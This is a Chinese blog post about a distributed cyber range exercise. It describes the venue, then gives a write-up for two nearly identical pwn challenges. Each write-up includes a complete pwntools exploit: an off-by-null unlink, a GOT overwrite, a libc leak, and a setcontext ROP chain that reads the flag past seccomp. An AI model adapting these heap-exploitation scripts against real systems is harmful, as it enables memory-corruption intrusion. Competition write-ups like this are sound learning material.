0%

全国分布式靶场演练

第一次到真正的靶场演练。虽然靶场还没完全装修好,不过还算是有模有样了。

靶场

布局

布局大概是这样的:两块大屏幕挂在墙上,两侧分别是圆形的蓝色池和红色池,电脑沿着池子边缘摆成一圈。中间是讲台,两边有饮水机。

感受

环境还算不错,只是没有空调,手都冻僵了。中午提供伙食,还提供饮料和奶茶。

比赛

总的来说还是太菜了,只做了两道 pwn 题(两道题几乎一模一样)。主观上,耗时间比较多的有两处:

  1. 没发现程序调用了 prctl,进而设置了 seccomp,只能 orw。
  2. 做 pwn9 时太急了,反反复复调试,没有静下心来分析问题出在哪。

客观的原因:

  1. 一开始 pwn 题没附件,10 点左右才给附件。
  2. pwn4 没给 flag 路径。我去问他,他有给我个错的路径。真正的 flag 文件名居然是 flag_augwdui …

Writeup

pwn4

保护:无 PIE,Partail RELRO,开启了seccomp

漏洞:off by null

利用方法:unlink,修改 got 表,再利用 setcontext 中的 gadget 进行 ORW(flag 的文件名真是奇怪。。。)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from LibcSearcher import *

#io = process("./pwn4")
io = remote("10.10.1.61", 9999)

def add(idx, size):
io.sendlineafter("please input your choice:", '1')
io.sendlineafter("please input the idx", str(idx))
io.sendlineafter("please input the size", str(size))

def delete(idx):
io.sendlineafter("please input your choice:", '2')
io.sendlineafter("please input the idx", str(idx))

def show(idx):
io.sendlineafter("please input your choice:", '3')
io.sendlineafter("please input the idx\n", str(idx))

def edit(idx, content):
io.sendlineafter("please input your choice:", '4')
io.sendlineafter("please input the idx", str(idx))
io.sendafter("please input the content", content)

buf_addr = 0x6020C0

add(0, 0x88)
add(1, 0xf8)
add(2, 0x18)
edit(0, p64(0) + p64(0x81) + p64(buf_addr - 0x18) + p64(buf_addr - 0x10) + b'\x00' * (0x88 - 0x28) + p64(0x80))
delete(1)

free_got = 0x602018
edit(0, b'B' * 0x18 + p64(buf_addr) + p64(0x30) + p64(buf_addr + 0x10 * 2) + p64(0x30) + b'\n')
show(1)
heap_addr = u64(io.recv(4).ljust(8, b'\x00')) - 0x1a0
print("heap_addr = " + hex(heap_addr))

edit(0, p64(buf_addr) + p64(0x1000) + p64(free_got) + b'\n')
show(1)

free_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("free_addr = " + hex(free_addr))
libc = LibcSearcher("free", free_addr)
libc_addr = free_addr - libc.dump("free")
print("libc_addr = " + hex(libc_addr))

setcontext_addr = libc_addr + 0x47B85#libc.dump("open")
print("setcontext_addr = " + hex(setcontext_addr))
edit(1, p64(setcontext_addr) + b'\n')

p_rdi = 0x400ee3
pp_rsi = 0x400ee1
p_rdx = libc_addr + 0x1b92
open_addr = libc_addr + libc.dump("open")
payload2 = p64(heap_addr + 0x270) + p64(pp_rsi) + p64(0) + p64(0xdeadbeef) + p64(open_addr)

read_addr = libc_addr + libc.dump("read")
payload2 += p64(p_rdi) + p64(3) + p64(pp_rsi) + p64(buf_addr + 0x30) + p64(0xdeadbeef) + p64(p_rdx) + p64(0x30) + p64(read_addr)
write_addr = libc_addr + libc.dump("write")
payload2 += p64(p_rdi) + p64(1) + p64(pp_rsi) + p64(buf_addr + 0x30) + p64(0xdeadbeef) + p64(write_addr)
payload2 = payload2.ljust(0xa0, b'A')
payload2 += p64(heap_addr + 0x1a0 + 0x20) + p64(p_rdi) + b"flag_augwdui".ljust(64, b'\x00')

add(8, 0x1000)
edit(8, payload2 + b'\n')
delete(8)

io.interactive()

pwn5

和 pwn4 几乎一模一样,除了 seccomp 的设置:

然而设置明显有问题。。。A == 231 为假的话,后面的 if 都不会执行。所以 exp和 pwn4 几乎相同

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from LibcSearcher import *

#io = process("./pwn5")
io = remote("10.10.1.62", 9999)

def add(idx, size):
io.sendlineafter("please input your choice:", '1')
io.sendlineafter("please input the idx", str(idx))
io.sendlineafter("please input the size", str(size))

def delete(idx):
io.sendlineafter("please input your choice:", '2')
io.sendlineafter("please input the idx", str(idx))

def show(idx):
io.sendlineafter("please input your choice:", '3')
io.sendlineafter("please input the idx\n", str(idx))

def edit(idx, content):
io.sendlineafter("please input your choice:", '4')
io.sendlineafter("please input the idx", str(idx))
io.sendafter("please input the content", content)

buf_addr = 0x6020C0

add(0, 0x88)
add(1, 0xf8)
add(2, 0x18)
edit(0, p64(0) + p64(0x81) + p64(buf_addr - 0x18) + p64(buf_addr - 0x10) + b'\x00' * (0x88 - 0x28) + p64(0x80))
delete(1)

free_got = 0x602018
edit(0, b'B' * 0x18 + p64(buf_addr) + p64(0x30) + p64(buf_addr + 0x10 * 2) + p64(0x30) + b'\n')
show(1)
heap_addr = u64(io.recv(4).ljust(8, b'\x00')) - 0x1a0
print("heap_addr = " + hex(heap_addr))

edit(0, p64(buf_addr) + p64(0x1000) + p64(free_got) + b'\n')
show(1)

free_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("free_addr = " + hex(free_addr))
libc = LibcSearcher("free", free_addr)
libc_addr = free_addr - libc.dump("free")
print("libc_addr = " + hex(libc_addr))

setcontext_addr = libc_addr + 0x47B85#libc.dump("open")
print("setcontext_addr = " + hex(setcontext_addr))
edit(1, p64(setcontext_addr) + b'\n')

p_rdi = 0x400fe3
pp_rsi = 0x400fe1
p_rdx = libc_addr + 0x1b92
open_addr = libc_addr + libc.dump("open")
payload2 = p64(heap_addr + 0x270) + p64(pp_rsi) + p64(0) + p64(0xdeadbeef) + p64(open_addr)

read_addr = libc_addr + libc.dump("read")
payload2 += p64(p_rdi) + p64(3) + p64(pp_rsi) + p64(buf_addr + 0x30) + p64(0xdeadbeef) + p64(p_rdx) + p64(0x30) + p64(read_addr)
write_addr = libc_addr + libc.dump("write")
payload2 += p64(p_rdi) + p64(1) + p64(pp_rsi) + p64(buf_addr + 0x30) + p64(0xdeadbeef) + p64(write_addr)
payload2 = payload2.ljust(0xa0, b'A')
payload2 += p64(heap_addr + 0x1a0 + 0x20) + p64(p_rdi) + b"flag".ljust(64, b'\x00')

add(8, 0x1000)
edit(8, payload2 + b'\n')
delete(8)

io.interactive()

总结

体验还是很不错的。最后和队友交流了一下。